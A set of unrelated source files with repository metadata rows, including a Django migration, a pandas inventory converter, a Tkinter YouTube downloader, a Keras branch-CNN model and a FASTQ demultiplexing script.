if not model[junc_var]:
raise Exception("Bad junc_var: False for existent junc!")
print('.', end='', flush=True)
print('*', flush=True)
|
[
"jura05 at Яндекс"
] |
jura05 at Яндекс
|
e358a89f0c66ce54359db63ea1a4d3f73ca6dae5
|
fb3855b468b08f335dfb84233c923e10514b7ef2
|
/myapp/models/ActionStudyLog.py
|
0d399bbf5c41e6c5b1997e273e240976ede4d2af
|
[] |
no_license
|
ngotuan12/ASEProject
|
f3acf347e3121405ba126505ec7cda4321553086
|
cf04ecd11e0e1bdda64ee13c057cd26c6c525f79
|
refs/heads/master
| 2021-01-13T14:19:50.947272
| 2014-07-28T08:16:20
| 2014-07-28T08:16:58
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 650
|
py
|
from datetime import datetime
from mongoengine.document import Document
from mongoengine.fields import DateTimeField, ReferenceField, \
StringField
from myapp.models.Action import Action
from myapp.models.Impression import Impression
from myapp.models.ProgressType import ProgressType
from myapp.models.Student import Student
class ActionStudyLog(Document):
published_date = DateTimeField(default=datetime.now)
action = ReferenceField(Action)
student = ReferenceField(Student)
impression = ReferenceField(Impression)
progressType = ReferenceField(ProgressType)
description = StringField()
meta = {
'ordering': ['-published_date']
}
|
[
"ngo.tuan12@gmail.com"
] |
ngo.tuan12@gmail.com
|
2aa0292d87465b1b9f52a7e1c5b92b2c26d7a77b
|
f573f4530b0f80bfb6604ec4394ee0d51eebfabb
|
/nomadgram/notifications/migrations/0001_initial.py
|
198e4147aa8c155eb6bb37d3ffae80e8e9cbb643
|
[
"MIT"
] |
permissive
|
Jeongkiwon/nomadgram
|
93d810361fa397246973aba1af6589ccbf9ad264
|
6c9b54f2982b8256ee3b842c3509be2786089941
|
refs/heads/master
| 2021-11-20T11:44:02.632886
| 2019-02-16T11:58:57
| 2019-02-16T11:58:57
| 147,059,019
| 2
| 0
|
MIT
| 2021-09-08T00:48:16
| 2018-09-02T06:01:58
|
Python
|
UTF-8
|
Python
| false
| false
| 1,350
|
py
|
# Generated by Django 2.0.8 on 2018-11-05 03:12
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('images', '0005_image_tags'),
]
operations = [
migrations.CreateModel(
name='Notifications',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateField(auto_now_add=True)),
('updated_at', models.DateField(auto_now=True)),
('notification_type', models.CharField(choices=[('like', 'Like'), ('comment', 'Comment'), ('follow', 'Follow')], max_length=20)),
('creator', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='creator', to=settings.AUTH_USER_MODEL)),
('images', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='images.Image')),
('to', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='to', to=settings.AUTH_USER_MODEL)),
],
options={
'abstract': False,
},
),
]
|
[
"jeong214132@naver.com"
] |
jeong214132@naver.com
|
76237b26d138041d9302ea4c9df6470e87470844
|
717c529ce974da50048849b2a5e7ca0149922ffd
|
/convert.py
|
b94c943729e433d66a6778a2de712b1b1b9d0533
|
[] |
no_license
|
rajah9/RtsConversion
|
3a90489b8ff7882da8f00cb2590340025fb75b82
|
bdf753cd376f1d17ec382d5db1133004f470f440
|
refs/heads/master
| 2020-11-26T01:00:20.252064
| 2019-12-19T02:48:46
| 2019-12-19T02:48:46
| 228,913,378
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 12,423
|
py
|
"""
convert several files from IBID to LightSpeed.
Interesting Python features:
* Reads Utilities from a relative path.
* Does a list comprehension from a dictionary on a condition in clean_inventory
"""
from os.path import realpath, abspath, split, join
from inspect import currentframe, getfile
import sys
cmd_folder = realpath(abspath(split(getfile(currentframe() ))[0]))
if cmd_folder not in sys.path:
sys.path.insert(0, cmd_folder)
# cmd_subfolder = realpath(
# abspath(join(split(getfile(currentframe()))[0], "Utilities")))
# if cmd_subfolder not in sys.path:
# sys.path.insert(0, cmd_subfolder)
import pandas as pd
from ApplicationUtil import ApplicationUtil
from StringUtil import StringUtil
from PandasUtil import DataFrameSplit
class RtsConvert(ApplicationUtil):
def __init__(self, yaml_file:str):
super().__init__(yaml_file)
self.su = StringUtil()
def load_vendors(self):
self._df_vend = self.load_df_from_excel(input_file_yaml_entry='inputVendorFile', worksheet='Sheet1')
if not self.pu.is_empty(self._df_vend):
cols = self.pu.get_df_headers(self._df_vend)
self._df_vend = self.pu.coerce_to_string(self._df_vend, cols)
self.pu.replace_vals(df=self._df_vend, replace_me='nan', new_val='')
self.logger.debug(f'Header is: {self._df_vend.head()}')
else:
self.logger.error('Could not find input vendor file. Exiting.')
exit(-1)
def f_clean_phone(self, orig_phone:str) -> str:
ans = self.su.parse_phone(orig_phone, should_remove_blanks=True)
return ans
def clean_vendors(self):
# Clean phone numbers
self._df_vend['Phone'] = self._df_vend['Phone'].apply(self.f_clean_phone)
self._df_vend['Fax'] = self._df_vend['Fax'].apply(self.f_clean_phone)
# TODO: Address foreign numbers, like Germany.
# Clean zip codes (remove trailing -)
self._df_vend['Zip'].replace(to_replace=r'-$', value='', regex=True, inplace=True)
# TODO: Remove country zips
# Remap column names (according to dictionary in yaml file)
vendor_col_map = self._d.asnamedtuple.vendorMapping
self.logger.debug(f'Read in vendor mapping: {vendor_col_map}')
self.pu.replace_col_names(df=self._df_vend, replace_dict=vendor_col_map, is_in_place=True)
self.logger.debug(f'Lightspeed column names: {self._df_vend.head()}')
def write_vendors(self):
vendors_output_file = self._d.asnamedtuple.outputVendorFile
self.logger.debug(f'Writing vendors file: {vendors_output_file}')
self.pu.write_df_to_excel(df=self._df_vend, excelFileName=vendors_output_file, excelWorksheet='RTS Vendors')
def load_inventory(self):
self._df_inv = self.load_df_from_excel(input_file_yaml_entry='inputInventoryFile', worksheet='Sheet1')
if not self.pu.is_empty(self._df_inv):
cols = self.pu.get_df_headers(self._df_inv)
self._df_inv = self.pu.coerce_to_string(self._df_inv, cols)
self.pu.replace_vals(df=self._df_inv, replace_me='nan', new_val='')
self.logger.debug(f'Header is: {self._df_inv.head()}')
else:
self.logger.error(f'Inventory file was not found. Exiting.')
exit(-1)
def f_clean_discount(self, orig_discount:str) -> str:
ans = 'No' if orig_discount[:4].lower() == "no d" else ''
return ans
def f_clean_custom_sku(self, sku:str) -> str:
"""
Replace the EANs of 13 characters in length with blanks.
:param sku:
:return:
"""
if len(sku) == 13:
return ''
return sku
def f_clean_item_code(self, sku:str) -> str:
"""
Replace those item codes that are not 13 characters in length with blanks.
:param sku:
:return:
"""
if len(sku) == 13:
return sku
return ''
def f_truncate(self, field:str, max:int=255) -> str:
"""
truncate the given field to the max length
:param field: field to truncate
:param max: length to truncate to
:return:
"""
if len(field) < max:
return field
self.logger.warning(f'Truncating field: {field} to {max} characters.')
return field[:max]
def f_fix_quantity(self, qty:int) -> int:
"""
Replace negative quantities with 0.
:param qty:
:return:
"""
if qty >= 0:
return qty
return 0
def is_added_by_ibid(self, strs:list):
ans = [x.startswith("--Added By Ibid") for x in strs]
return ans
def is_food_code(self, cats:list):
su = StringUtil()
ans = [x.lower() in ['ofoo', 'snac', 'coff'] for x in cats]
return ans
def is_misc_sku(self, skus:list):
ans = [x.lower().startswith("x") for x in skus]
return ans
def is_missing_sell(self, prices:list):
ans = [x <= 0 for x in prices]
return ans
def f_fix_sell(self, x):
if x['SellPrice'] > 0:
return x['SellPrice']
else:
return x['ListPrice']
def clean_inventory(self):
inventory_col_map = self._d.asnamedtuple.inventoryMapping
self.logger.debug(f'Read in inventory mapping: {inventory_col_map}')
su = StringUtil()
str_cols = self.pu.get_df_headers(self._df_inv)
num_cols = []
str_cols.remove('ListPrice')
num_cols.append('ListPrice')
str_cols.remove('CostPrice')
num_cols.append('CostPrice')
str_cols.remove('OnHand')
num_cols.append('OnHand')
str_cols.remove('SellPrice')
num_cols.append('SellPrice')
self._df_inv = self.pu.coerce_to_string(self._df_inv, str_cols)
self._df_inv = self.pu.coerce_to_numeric(self._df_inv, num_cols)
# Ensure quantity is non-negative.
self._df_inv = self.pu.replace_col_using_func(df=self._df_inv, column='OnHand', func=self.f_fix_quantity)
# self._df_inv['Misc1'] = self._df_inv['Misc1'].apply(self.f_clean_discount)
self._df_inv = self.pu.replace_col_using_func(df=self._df_inv, column='Misc1', func=self.f_clean_discount)
# Create a new (Lightspeed) column "Custom SKU" for the ItemCode entries that are not 13 chars long
new_col = 'Custom SKU'
self._df_inv[new_col] = self._df_inv['ItemCode']
self._df_inv = self.pu.replace_col_using_func(df=self._df_inv, column=new_col, func=self.f_clean_custom_sku)
# Replace ItemCode entries that are not 13 chars long with blanks
self._df_inv = self.pu.replace_col_using_func(df=self._df_inv, column='ItemCode', func=self.f_clean_item_code)
# Force title to mixed case
title_capitalization = self._d.asnamedtuple.titleCapitalization
if title_capitalization == "title":
self._df_inv = self.pu.replace_col_using_func(df=self._df_inv, column='Title', func=su.capitalize_as_title)
author_capitalization = self.yaml_entry('authorCapitalization')
if author_capitalization == "title":
self._df_inv = self.pu.replace_col_using_func(df=self._df_inv, column='Author', func=su.capitalize_as_title)
elif author_capitalization == "allcaps":
self._df_inv = self.pu.replace_col_using_func(df=self._df_inv, column='Author', func=su.all_caps)
# Append Author to Title
auth_sep = ' -- '
self._df_inv['Title'] = self._df_inv['Title'] + auth_sep + self._df_inv['Author']
# Truncate Title to 255 chars
self._df_inv = self.pu.replace_col_using_func(df=self._df_inv, column='Title', func=su.truncate)
# TODO: Run Fix to eliminate over UTF-8
# Remove Added By Ibid in Description
mask_ibid = self.pu.mark_rows(self._df_inv, 'Title', self.is_added_by_ibid)
# Remove food codes OFOO, SNAC, and COFF
mask_food = self.pu.mark_rows(self._df_inv, 'Cat1', self.is_food_code)
# Remove 'Custom SKU' that start with x or X
mask_misc = self.pu.mark_rows(self._df_inv, new_col, self.is_misc_sku)
masks = [mask_ibid[i] | mask_food[i] | mask_misc[i] for i in range(len(mask_food))]
df_deleted = self.pu.masked_df(self._df_inv, masks)
self.logger.debug(f'df_deleted header: {df_deleted.head()}')
self.write_deleted(df_deleted)
self._df_inv = self.pu.masked_df(self._df_inv, masks, invert_mask=True)
# Round prices to 2 decimal places
self._df_inv = self.pu.round(self._df_inv, {'ListPrice': 2, 'CostPrice': 2, 'SellPrice': 2})
# TODO: If SellPrice <= 0, copy ListPrice over it.
self._df_inv['SellPrice'] = self._df_inv.apply(self.f_fix_sell, axis=1)
# Delete unused columns with XX
cols_to_drop = [x for x, value in inventory_col_map.items() if value=="XX"]
self.logger.debug(f'about to drop columns: {cols_to_drop}')
self.pu.drop_col(df=self._df_inv, columns=cols_to_drop, is_in_place=True)
self.pu.replace_col_names(df=self._df_inv, replace_dict=inventory_col_map, is_in_place=True)
self.logger.debug(f'Lightspeed column names: {self._df_inv.head()}')
def write_inventory(self):
su = StringUtil()
inventory_output_file = self.yaml_entry('outputInventoryFile')
self.logger.debug(f'Writing inventory file: {inventory_output_file}')
max_rows = self.yaml_entry('maxLines')
little_dfs = DataFrameSplit(my_df=self._df_inv, interval=max_rows)
combined_sizes = 0
for i, df in enumerate(little_dfs):
self.logger.debug(f'Set {i}: {len(df)}')
combined_sizes += len(df)
two_digit_file_number = su.leading_2_places(i)
split_fn = su.replace_first(old='##', new=two_digit_file_number, myString=inventory_output_file)
self.pu.write_df_to_excel(df=df, excelFileName=split_fn, excelWorksheet='RTS Inventory')
def load_customers(self):
self._df_vend = self.load_df_from_excel(input_file_yaml_entry='inputCustomerFile', worksheet='Sheet1')
if not self.pu.is_empty(self._df_vend):
cols = self.pu.get_df_headers(self._df_vend)
self._df_vend = self.pu.coerce_to_string(self._df_vend, cols)
self.pu.replace_vals(df=self._df_vend, replace_me='nan', new_val='')
self.logger.debug(f'Header is: {self._df_vend.head()}')
else:
self.logger.warning(f'Error! Could not find Customer file.')
exit(-1)
def clean_customers(self):
# Remove duplicates
self._df_vend = self.pu.drop_duplicates(df=self._df_vend, fieldList=['Account'], keep='last')
# Clean phone numbers
self._df_vend['Phone 1'] = self._df_vend['Phone 1'].apply(self.f_clean_phone)
self._df_vend['Phone2'] = self._df_vend['Phone2'].apply(self.f_clean_phone)
self._df_vend['Fax'] = self._df_vend['Fax'].apply(self.f_clean_phone)
# TODO: Address foreign numbers, like Germany.
# Clean zip codes (remove trailing -)
self._df_vend['Zip'].replace(to_replace=r'-$', value='', regex=True, inplace=True)
# TODO: Remove country zips
# Remap column names (according to dictionary in yaml file)
customer_col_map = self._d.asnamedtuple.customerMapping
self.logger.debug(f'Read in customer mapping: {customer_col_map}')
# Delete unused columns with XX
cols_to_drop = [x for x, value in customer_col_map.items() if value=="XX"]
self.logger.debug(f'about to drop columns: {cols_to_drop}')
self.pu.drop_col(df=self._df_vend, columns=cols_to_drop, is_in_place=True)
self.pu.replace_col_names(df=self._df_vend, replace_dict=customer_col_map, is_in_place=True)
self.logger.debug(f'Lightspeed column names: {self._df_vend.head()}')
def write_customers(self):
self.write_excel(self._df_vend, 'outputCustomerFile', 'Customers')
def write_deleted(self, df:pd.DataFrame) -> None:
self.write_excel(df, 'outputSuspenseFile', 'Suspense')
rc = RtsConvert(r'C:\Users\Owner\PycharmProjects\RtsConversion\convert.yaml')
rc.load_customers()
rc.clean_customers()
rc.write_customers()
rc.load_vendors()
rc.clean_vendors()
rc.write_vendors()
rc.load_inventory()
rc.clean_inventory()
rc.write_inventory()
|
[
"rajah@alumni.duke.edu"
] |
rajah@alumni.duke.edu
|
c07f18139ab4336aa9b638cf9c6f235f94745228
|
2f027c97e7954e245f7bece05a3a3f5629c06672
|
/daily_work/chapter15/practice13.py
|
c93ed7eade6873df55697cf295b539b74b1e7703
|
[] |
no_license
|
wu-zero/python_learn
|
17b93130efd07aaed3660551ef3e78c6cd5b9567
|
52e085c4247329ac296c2bdc6b70adfcfefb601a
|
refs/heads/master
| 2020-04-15T05:26:10.388235
| 2019-03-04T03:35:38
| 2019-03-04T03:35:38
| 164,422,257
| 2
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,060
|
py
|
# 13. 使用多态与封装设计一个虚拟宠物的程序,
# 三个基础的宠物类 -- Cat类,Dog类,Pig类
# 属性:name(名字)、type(品种),name、type均为私有属性(对内可见,对外不可见)
# type属性为成员属性(由构造器__init__方法赋初值),但type对外又是可读可写(利用property装饰器实现),name属性初始化操作由父类完成(子类利用super()来实现)
# 方法:eat(self) 均拥有eat的方法(父级继承) 但实现体分别可以体现出 "吃猫粮"、"吃狗粮"、"吃猪粮"不同点(不同的实现)
# 一个宠物的父类 -- Pet类
# 属性:name(名字),name为私有属性(对内可见,对外不可见),name属性为成员属性(由构造器__init__方法赋初值),但name对外又是可读可写(利用property装饰器实现)
# 方法:eat(self),拥有eat的方法(没有方法的实现体,利用abc模块实现)
# 一个主人类 -- Master类
# 属性:name(名字)、pet(宠物),name、pet均为私有成员属性(具体操作同上面属性的操作)
# 方法:feed(self),拥有feed方法(方法只有self一个参数,没有多余的参数),feed方法实现要求:-- "某某"主人准备好宠物粮食-- "某某品种"的"某某宠物"来进食 -- 吃...(调用宠物自身的eat方法) 注:""括起来的某某都是要被替换为具体的数据的创建三个宠物主人,分别养的是不同的三种宠物三个主人进行喂食的时候,对应养的宠物就会完成进食其他细节自由补充
import abc
class Pet:
def __init__(self, name):
self.__name = name
@property
def name(self):
return self.__name
@abc.abstractmethod
def eat(self):
pass
class Cat(Pet):
def __init__(self,name,type):
super().__init__(name)
self.__type = type
@property
def type(self):
return self.__type
def eat(self):
print('吃猫粮')
class Dog(Pet):
def __init__(self, name, type):
super().__init__(name)
self.__type = type
@property
def type(self):
return self.__type
def eat(self):
print('吃狗粮')
class Pig(Pet):
def __init__(self, name, type):
super().__init__(name)
self.__type = type
@property
def type(self):
return self.__type
def eat(self):
print('吃猪粮')
class Master:
def __init__(self,name,have_pet):
self.__name = name
self.__pet = have_pet
@property
def name(self):
return self.__name
@property
def pet(self):
return self.__pet
def feed(self):
print('%s准备好宠物粮食' % self.__name)
print('%s的%s来进食' % (self.__pet.type, self.__pet.name))
self.__pet.eat()
if __name__ == '__main__':
dog1 = Dog('gougou', '金毛')
cat1 = Cat('miaomaio', '折耳')
pig1 = Pig('zhuzhu', '小香猪')
master1 = Master('xm', dog1)
master2 = Master('xh', cat1)
master3 = Master('xg', pig1)
master1.feed()
master2.feed()
master3.feed()
|
[
"32433681+wu-zero@users.noreply.github.com"
] |
32433681+wu-zero@users.noreply.github.com
|
c7bc4e0a9f682160564dc5a6b4a91124d4cd39c4
|
4960473f77113dd42e8f3c9322b2af62edd23184
|
/bw_processing/examples/interfaces.py
|
901bbfda45a4b2d0d1aba901caae03918ec1a449
|
[
"BSD-3-Clause"
] |
permissive
|
brightway-lca/bw_processing
|
bfa8e28cf2527f1f112cef540a579eb5c37d3a54
|
bd95aba5f671b45283262bdbddf7319c9a58d003
|
refs/heads/main
| 2023-08-20T10:39:37.515780
| 2023-08-14T19:17:52
| 2023-08-14T19:17:52
| 215,505,287
| 3
| 3
|
BSD-3-Clause
| 2023-09-14T17:19:03
| 2019-10-16T09:10:45
|
Python
|
UTF-8
|
Python
| false
| false
| 602
|
py
|
import numpy as np
class ExampleVectorInterface:
def __init__(self):
self.rng = np.random.default_rng()
self.size = self.rng.integers(2, 10)
def __next__(self):
return self.rng.random(self.size)
class ExampleArrayInterface:
def __init__(self):
rng = np.random.default_rng()
self.data = rng.random((rng.integers(2, 10), rng.integers(2, 10)))
@property
def shape(self):
return self.data.shape
def __getitem__(self, args):
if args[1] >= self.shape[1]:
raise IndexError
return self.data[:, args[1]]
|
[
"cmutel@gmail.com"
] |
cmutel@gmail.com
|
a37cf9f6494a6d9d13936791841525786b4cb428
|
3360cf2a1ac6870f0ddd31e1cf3b194a0f5e12ae
|
/main.py
|
1fc8eef07d12bf72a536c0d20d9c86677e150090
|
[] |
no_license
|
Stanislasss/Easy-YT
|
bd8c82162cba37fce5e08a86cdaa11e7c0eae3fb
|
293f33fcca14f729bc9e7532155c3f074baff1a1
|
refs/heads/main
| 2023-04-27T14:39:09.183311
| 2021-05-08T09:00:29
| 2021-05-08T09:00:29
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 7,535
|
py
|
from pytube import YouTube
import tkinter
import tkinter.ttk
from tkinter.filedialog import askdirectory
import tkinter.messagebox
from threading import Thread
import os
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
# Selenium Stuff
options = Options()
options.headless = True
try:
driver = webdriver.Chrome("Tools\\chromedriver.exe", options=options)
except:
tkinter.messagebox.showerror("Error","Chrome Driver Missing Download and install on Tools\\chromedriver.exe")
exit()
running = False
class AppGUI(tkinter.Tk):
# GUI of our Application
def __init__(self):
super().__init__()
self.design_window()
self.progress = tkinter.Label(self,font=("Times",12))
self.progress.pack(side="bottom",fill="x")
def design_window(self):
# Designs basic window
self.config(bg="grey")
self.geometry("720x700")
self.title("Easy YT")
self.create_upper_part()
self.create_mid_part()
self.create_down_part()
def create_upper_part(self):
# Creates the upper part of the application
self.upper = tkinter.LabelFrame(self,text="Video Details")
self.upper.pack(fill=tkinter.X)
# Different Frames for labels and textboxes
qFrame = tkinter.Frame(self.upper)
qFrame.pack(side=tkinter.LEFT)
aFrame = tkinter.Frame(self.upper)
aFrame.pack(side=tkinter.RIGHT)
# Adding prompt labels
tkinter.Label(qFrame,text="Save Path",font=("Times",15)).pack()
tkinter.Label(qFrame,text="File Type",font=("Times",15)).pack()
# Adding path selector button
self.path_selector = tkinter.Button(aFrame,command=self.ask_folder,text="Click to Change the Path of saved Video",font=("Times",15))
self.path_selector.pack(side=tkinter.TOP)
# Adding file type selector combobox
self.file_type = tkinter.ttk.Combobox(aFrame,values=[".mp4(Video Form)",".mp3(Audio Form)"],font=("Times",15))
self.file_type.pack(side=tkinter.TOP,fill="x")
def ask_folder(self):
# Function of the button -> ask where to save the file
folder_choosen = askdirectory()
self.path_selector.config(text=folder_choosen) # Changing the text of the button
def create_mid_part(self):
# The mid Part where files cart is shown
self.midFrame = tkinter.LabelFrame(self,text="Files Cart")
self.midFrame.pack(fill='x',pady=10)
self.files_cart = [] # Contains the files to download
tkinter.Label(self.midFrame,text="Your Cart will start to fill from here -:").pack()
def create_down_part(self):
# The foot part
foot_frame = tkinter.LabelFrame(self,text="Enter the Name of the Video or link of the video and press enter to add on the list")
foot_frame.pack(fill="x")
self.file_name_1 = tkinter.StringVar()
self.file_name = tkinter.Entry(foot_frame,font=("Times",16),textvariable=self.file_name_1)
self.file_name.pack(fill="x")
# Pressing enter will also enter the details making that
self.file_name.bind("<Return>",self.add_to_cart)
self.file_name.bind("<Control-Key-V>",lambda e:self.file_name_1.set(self.clipboard_get()))
# Adding Buttons
tkinter.Button(foot_frame,text="Add to Cart",command=self.add_to_cart,font=("Elephant",11)).pack(side='left')
self.toDisable = tkinter.Button(foot_frame,text="Start Downloading the List",command=self.start_download,font=("Elephant",11))
self.toDisable.pack(side='right')
tkinter.Button(foot_frame,command=self.delete,text="Delete last one",font=("Elephant",11)).pack(side='right')
def delete(self):
# Deletes the last entered video
if len(self.files_cart) > 0:
self.files_cart[len(self.files_cart)-1].destroy()
self.files_cart.pop(len(self.files_cart)-1)
def add_to_cart(self,e=None):
# Adds the video to the cart
if not self.file_name.get().lstrip() == "":
tempLabel = tkinter.Label(self.midFrame,text=self.file_name.get(),font=("Times",7))
tempLabel.pack(fill='x')
self.files_cart.append(tempLabel)
self.file_name_1.set("")
def start_download(self):
# Starts the download by creating a downloader object and verifying data
# Verifying data
global running
if not running:
error =None
if len(self.files_cart) <1:
error = "No Files to download"
elif not os.path.isdir(self.path_selector['text']):
error = "Please Select a correct Directory by clicking the button"
elif not self.file_type.get() in [".mp4(Video Form)",".mp3(Audio Form)"]:
error = "Please select a correct file format from the drop down menu"
if not error == None:
tkinter.messagebox.showerror("Error",error)
else:
downloader = Downloader(self.progress,self.files_cart,self.path_selector['text'],self.file_type.get())
running = True
Thread(target = downloader.download).start()
class Downloader:
''' Dowloader class'''
def __init__(self,progressLabel,dList,location,format):
self.progressLabel = progressLabel
self.dlist = dList
self.format = format
self.location = location
self.links =[] # container for all the links
def get_link(self,name):
try:
# Gets link by web-scraping
if "www.youtube.com/watch" in name:
driver.get(name)
return(driver.title,name)
else:
name = name.replace(" ","+")
driver.get(f"https://www.youtube.com/results?search_query={name}")
p_element = driver.find_element_by_id('video-title')
return (p_element.get_attribute("title"),p_element.get_attribute("href"))
except:
tkinter.messagebox.showerror("Error","Couldn't connect to Youtube Probably internet issue. PLZ make sure you have chrome browser in your computer")
quit()
def download(self):
global running
# Downloads by getting the link
for lists in self.dlist:
self.progressLabel['text'] = "Getting link and title of the video -" +lists['text']
self.links.append(self.get_link(lists['text']))
for links in self.links:
self.progressLabel['text'] = "Downloading " +links[0]+ " ,wait patiently"
self.downloadByLink(links[1])
self.progressLabel['text'] = "Downloaded all the files and saved Succesfully"
running=False
def downloadByLink(self,link):
try:
yt = YouTube(link)
if self.format==".mp4(Video Form)":
video = yt.streams[0]
else:
video = yt.streams.filter(only_audio=True).first()
video.download(self.location)
except:
tkinter.messagebox.showerror("Error","Sorry, couldn't download videos")
if __name__ == "__main__":
AppGUI().mainloop()
try:
driver.close()
except:
pass
|
[
"noreply@github.com"
] |
Stanislasss.noreply@github.com
|
1fb1737dd78908b033c6940b672ef8db24d714ac
|
00c91258477e80f85fd150d9e0b96fb006ab68a6
|
/b_cnn/models/bcnn_model.py
|
ad6da8fcba2cdbc1abc352787baa80a4baaa6e2d
|
[] |
no_license
|
senkey705/B_CNN
|
fc4ffb9d532708de24a469cbe1a8fa8999fc0791
|
68a00c735c9ecb25c07a22ccfc324ae56773a705
|
refs/heads/master
| 2021-09-16T17:19:48.823146
| 2018-06-22T11:20:35
| 2018-06-22T11:20:35
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,372
|
py
|
from keras.models import Model
from keras.layers import Dense, Dropout, Flatten
from keras.layers import Conv2D, MaxPooling2D
from keras.layers.normalization import BatchNormalization
class BCNN_Model:
def __init__(self, params):
self.num_c_1 = params.num_c_1
self.num_c_2 = params.num_c_2
self.num_classes = params.num_classes
def __call__(self, img_input):
#--- block 1 ---
x = Conv2D(64, (3, 3), activation='relu', padding='same', name='block1_conv1')(img_input)
x = BatchNormalization()(x)
x = Conv2D(64, (3, 3), activation='relu', padding='same', name='block1_conv2')(x)
x = BatchNormalization()(x)
x = MaxPooling2D((2, 2), strides=(2, 2), name='block1_pool')(x)
#--- block 2 ---
x = Conv2D(128, (3, 3), activation='relu', padding='same', name='block2_conv1')(x)
x = BatchNormalization()(x)
x = Conv2D(128, (3, 3), activation='relu', padding='same', name='block2_conv2')(x)
x = BatchNormalization()(x)
x = MaxPooling2D((2, 2), strides=(2, 2), name='block2_pool')(x)
#--- coarse 1 branch ---
c_1_bch = Flatten(name='c1_flatten')(x)
c_1_bch = Dense(256, activation='relu', name='c1_fc_cifar10_1')(c_1_bch)
c_1_bch = BatchNormalization()(c_1_bch)
c_1_bch = Dropout(0.5)(c_1_bch)
c_1_bch = Dense(256, activation='relu', name='c1_fc2')(c_1_bch)
c_1_bch = BatchNormalization()(c_1_bch)
c_1_bch = Dropout(0.5)(c_1_bch)
c_1_pred = Dense(self.num_c_1, activation='softmax', name='c1_predictions_cifar10')(c_1_bch)
#--- block 3 ---
x = Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv1')(x)
x = BatchNormalization()(x)
x = Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv2')(x)
x = BatchNormalization()(x)
x = MaxPooling2D((2, 2), strides=(2, 2), name='block3_pool')(x)
#--- coarse 2 branch ---
c_2_bch = Flatten(name='c2_flatten')(x)
c_2_bch = Dense(512, activation='relu', name='c2_fc_cifar10_1')(c_2_bch)
c_2_bch = BatchNormalization()(c_2_bch)
c_2_bch = Dropout(0.5)(c_2_bch)
c_2_bch = Dense(512, activation='relu', name='c2_fc2')(c_2_bch)
c_2_bch = BatchNormalization()(c_2_bch)
c_2_bch = Dropout(0.5)(c_2_bch)
c_2_pred = Dense(self.num_c_2, activation='softmax', name='c2_predictions_cifar10')(c_2_bch)
#--- block 4 ---
x = Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv1')(x)
x = BatchNormalization()(x)
x = Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv2')(x)
x = BatchNormalization()(x)
x = MaxPooling2D((2, 2), strides=(2, 2), name='block4_pool')(x)
#--- fine block ---
x = Flatten(name='flatten')(x)
x = Dense(1024, activation='relu', name='fc_cifar10_1')(x)
x = BatchNormalization()(x)
x = Dropout(0.5)(x)
x = Dense(1024, activation='relu', name='fc2')(x)
x = BatchNormalization()(x)
x = Dropout(0.5)(x)
fine_pred = Dense(self.num_classes, activation='softmax', name='predictions_cifar10')(x)
model = Model(input=img_input, output=[c_1_pred, c_2_pred, fine_pred], name='medium_dynamic')
return model
|
[
"ryousuke.s.m@gmail.com"
] |
ryousuke.s.m@gmail.com
|
90188776f21b95555836685ee050b690d4fa2dbd
|
be8e10350f54f3ef682c7dc61e7567a671082260
|
/demultiplex.py
|
738cb07f0cf59b8153607de235707896f72e9a3d
|
[] |
no_license
|
2019-bgmp/demultiplexing-JoshSakai
|
94f765fd01283c476a7e0af74fc1b4cda05e0519
|
a56616cb49d14774c48344b342128dd9e14f9e5f
|
refs/heads/master
| 2020-07-03T06:34:56.273837
| 2019-11-05T20:34:18
| 2019-11-05T20:34:18
| 201,822,380
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 11,914
|
py
|
#!/usr/bin/env python
import numpy as np
import gzip
import matplotlib.pyplot as mpl
import argparse
def get_args():
"""inputting the file names for read 1, read 2, index 1, and index 2 """
parser = argparse.ArgumentParser(description=' File name to be used')
parser.add_argument('-r1', '--read1', help='Read 1 fastq file, must be zipped', type=str, required=True)
parser.add_argument('-r2', '--read2', help='Read 2 fastq file, must be zipped', type=str, required=True)
parser.add_argument('-i1', '--index1', help='Index 1 fastq file, must be zipped', type=str, required=True)
parser.add_argument('-i2', '--index2', help='Index 2 fastq file, must be zipped', type=str, required=True)
parser.add_argument('-q', '--quality', help='phred33 quality score threshold for reads', type=int, required=True)
parser.add_argument('-b', '--barcodes', help='Known barcodes file as tsv with code and index on each line', type=str, required=True)
#NOTE, barcodes file must conform to formating in the help documentation
return parser.parse_args()
args= get_args()
r1 = args.read1
r2 = args.read2
i1 = args.index1
i2 = args.index2
q = args.quality
b = args.barcodes
def header_edit(header,i1,i2):
"""appends the given 'index1-index2' to the end of the header line and then returns a value that contains the edited header"""
bars = ' '+i1+'-'+i2
new_header = header + bars
return new_header
def rv_comp(seq):
"""converts the DNA string into it's reverse compliment """
rv = seq[::-1]
flip = ''
for initial in rv:
if initial == 'A':
flip += 'T'
elif initial == 'T':
flip += 'A'
elif initial == 'C':
flip += 'G'
elif initial == 'G':
flip += 'C'
elif initial == 'N':
flip += 'N'
return flip
def low_Q(q, qual):
"""modified function that converts a single character into a phred score"""
"""the mean quality phred score is compared to the inputted quality threshold value and returns true if it is equal or greater and false if it is not"""
value=0
for cha in qual:
#converts phred score
score = (((ord(cha) - 33)))
value += score
if (int(value)/len(qual))>=q:
#sums the quality scores and compares them to the desired value given during the argparse
return True
else:
return False
def barcode_ref(b):
"""given the input file from the argparse this takes the barcodes within it and creates an array of barcodes as a key for demultiplexing"""
"""importantly the barcode file must be tab seperated and have a barcode on each line"""
with open(b,'r') as b_ref :
bar_list = []
for line in b_ref:
x = line.split('\t')[1]
y = x.strip()
bar_list.append(y)
return bar_list
